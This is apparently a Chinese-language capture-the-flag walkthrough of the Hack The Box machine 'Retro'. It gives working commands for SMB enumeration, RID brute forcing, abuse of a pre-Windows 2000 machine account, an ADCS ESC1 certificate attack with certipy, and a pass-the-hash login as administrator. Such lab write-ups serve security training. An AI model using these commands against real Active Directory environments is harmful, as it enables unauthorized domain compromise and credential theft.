HTB: Retro
信息收集
初始扫描
Nmap扫描显示22个开放TCP端口:
1
|
oxdf@hacky$ nmap -p- --min-rate 10000 10.129.234.44
|
端口扫描结果显示典型的Windows域控制器服务,包括DNS(53)、Kerberos(88)、SMB(445)、LDAP(389)等。域名为retro.vl,主机名为DC。
SMB枚举
使用netexec生成hosts文件并添加到本地:
1
2
|
oxdf@hacky$ netexec smb 10.129.234.44 --generate-hosts-file hosts
oxdf@hacky$ cat hosts /etc/hosts | sponge /etc/hosts
|
guest账户可枚举SMB共享:
1
|
oxdf@hacky$ netexec smb dc.retro.vl -u guest -p '' --shares
|
发现Notes和Trainees共享。guest账户只能读取Trainees共享,其中包含Important.txt文件:
1
2
3
4
5
6
|
Dear Trainees,
I know that some of you seemed to struggle with remembering strong and unique passwords.
So we decided to bundle every one of you up into one account.
Stop bothering us. Please. We have other stuff to do than resetting your password every day.
Regards
The Admins
|
用户枚举与认证
RID循环枚举
通过RID循环发现用户账户:
1
|
oxdf@hacky$ netexec smb dc.retro.vl -u guest -p '' --rid-brute
|
发现trainee用户和BANKING$机器账户。
认证尝试
根据提示,尝试使用用户名作为密码认证trainee账户成功:
1
|
oxdf@hacky$ netexec smb dc.retro.vl -u trainee -p trainee
|
认证后枚举
SMB共享访问
trainee账户可访问Notes共享,包含两个文件:
user.txt:用户flag
ToDo.txt:提示清理旧银行软件和预创建计算机账户
Pre-Windows 2000利用
根据提示,BANKING$机器账户使用Pre-Windows 2000认证方式,密码为主机名小写:
1
|
oxdf@hacky$ netexec smb dc.retro.vl -u 'BANKING$' -p banking
|
收到STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT错误,表明密码正确但账户未使用。
密码更改
使用changepasswd.py通过RPC协议更改密码:
1
|
oxdf@hacky$ changepasswd.py -newpass 0xdf0xdf 'retro.vl/BANKING$:banking@dc.retro.vl' -protocol rpc-samr
|
Kerberos认证替代方案
也可使用Kerberos认证绕过密码更改:
1
|
oxdf@hacky$ netexec smb dc.retro.vl -u 'BANKING$' -p banking -k
|
ADCS枚举与利用
证书模板发现
使用certipy查找易受攻击的证书模板:
1
|
oxdf@hacky$ certipy find -u 'BANKING$@retro.vl' -p 0xdf0xdf -vulnerable -stdout
|
发现RetroClients模板存在ESC1漏洞:允许注册者指定主题且支持客户端认证。
ESC1漏洞利用
请求管理员证书:
1
|
oxdf@hacky$ certipy req -u 'BANKING$@retro.vl' -p 0xdf0xdf -ca retro-DC-CA -template RetroClients -upn administrator@retro.vl -key-size 4096
|
由于SID不匹配,需要指定管理员SID:
1
|
oxdf@hacky$ certipy req -u 'BANKING$@retro.vl' -p 0xdf0xdf -ca retro-DC-CA -template RetroClients -upn administrator@retro.vl -sid S-1-5-21-2983547755-698260136-4283918172-500 -key-size 4096
|
证书认证
使用证书获取管理员TGT和NTLM哈希:
1
|
oxdf@hacky$ certipy auth -pfx administrator.pfx -dc-ip 10.129.234.44
|
权限提升
WinRM连接
使用获取的NTLM哈希通过WinRM连接:
1
|
oxdf@hacky$ evil-winrm-py -i dc.retro.vl -u administrator -H 252fac7066d93dd009d4fd2cd0368389
|
获取root flag
在管理员桌面读取root flag:
1
|
evil-winrm-py PS C:\Users\Administrator\desktop> cat root.txt
|
总结
本次渗透测试从SMB共享枚举开始,通过Pre-Windows 2000计算机账户漏洞获取权限,最终利用ADCS证书模板的ESC1漏洞实现权限提升,完整展示了Active Directory环境中的常见攻击链。